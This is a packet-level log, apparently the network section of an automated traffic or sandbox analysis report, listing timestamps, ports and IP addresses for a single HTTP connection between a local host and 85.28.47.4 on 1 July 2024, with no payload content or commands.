Jul 1, 2024 07:20:36.251682043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251709938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.252379894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.252425909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333268881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333329916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333363056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333374023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333399057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333404064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333414078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333434105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333441973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333467960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333482027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333504915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.333511114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.333551884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.343664885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343727112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343764067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343789101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343803883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343817949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343832970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343847036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343847036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.343864918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.343902111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.343914986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344559908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344598055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344609022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344615936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344634056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344651937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344680071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344692945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344703913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.344717979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344743013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.344762087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.345484972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.345503092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.345514059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.345545053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.345546007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.345546007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.345581055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415251017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415291071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415347099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415380001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415385962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415415049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415427923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415447950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415448904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415477037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415483952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.415498972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.415524960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.425945044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.425976992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426018953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426042080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426043034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426086903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426096916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426130056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426139116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426163912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426170111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426197052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426208973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426230907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426254034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426264048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426274061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426300049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426847935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426897049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426902056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426938057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426943064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.426973104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.426975012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.427009106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436609983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436671972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436681986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436712027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436726093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436765909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436779976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436813116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436815977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436849117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436850071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436885118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436887026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436918974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436922073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436937094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.436953068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436969995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.436969995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437007904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437009096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437052011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437591076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437623978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437655926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437660933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437665939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437700987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437714100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437748909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437752008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437782049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437784910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437817097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.437822104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.437851906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438419104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438467026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438472986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438508987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438512087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438543081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438580036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438612938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438621044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438647032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438656092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438682079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.438682079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.438716888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.439368963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.439414024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.439419031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.439454079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.439455986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.439487934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.439493895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.439524889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.439524889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.439559937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.497771025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.497859001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.497893095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.497906923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.497946978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.497946978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.497929096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.497988939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.497998953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.498050928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508279085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508332014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508354902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508367062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508369923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508405924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508419991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508460999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508472919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508476019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508503914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508517981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.508547068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.508646011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.518974066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519035101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519053936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519081116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519087076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519119978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519151926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519154072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519169092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519191027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519206047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519216061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519227982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519252062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519258022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519294024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519308090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519328117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519335985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519362926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519372940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519416094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519437075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519471884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.519484043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.519509077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529238939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529269934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529303074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529325008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529328108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529359102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529377937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529392004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529393911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529438019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529452085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529499054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529521942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529573917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529577971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529591084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529619932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529627085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529629946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529661894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.529674053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529704094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.529983997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530016899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530035019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530056000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530072927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530114889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530122995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530158043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530172110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530191898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530194998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530229092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530239105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530260086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530273914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530301094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530683041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530721903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530733109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530735970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530755997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530776024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530847073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530881882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530900002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530922890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530929089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.530975103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.530997992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531032085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531044960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531064034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531069040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531100035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531105042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531141043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531627893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531661987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531677008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531696081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531714916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531738043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531748056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531780005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531795025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531814098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531819105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531850100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531860113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531887054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531889915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531923056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531935930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.531959057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.531963110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532012939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532650948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532685041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532701969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532721996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532736063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532769918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532780886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532804966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532814026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532839060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532846928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532883883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532891989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532926083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532936096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532958984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.532960892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.532994986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533004045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533035994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533593893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533628941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533652067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533663034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533665895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533708096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533716917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533750057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533757925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533783913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533792019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533821106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533839941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533874035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533889055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533907890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533912897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533945084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.533948898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.533988953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.534666061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.534699917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.534720898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.534739017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.534749985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.534769058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.534791946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.534811020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.590780020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.590847015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.590882063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.590895891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.590895891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.590934038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.590935946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.590996027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.591003895 CEST	80	49711	85.28.47.4	192.168.2.6
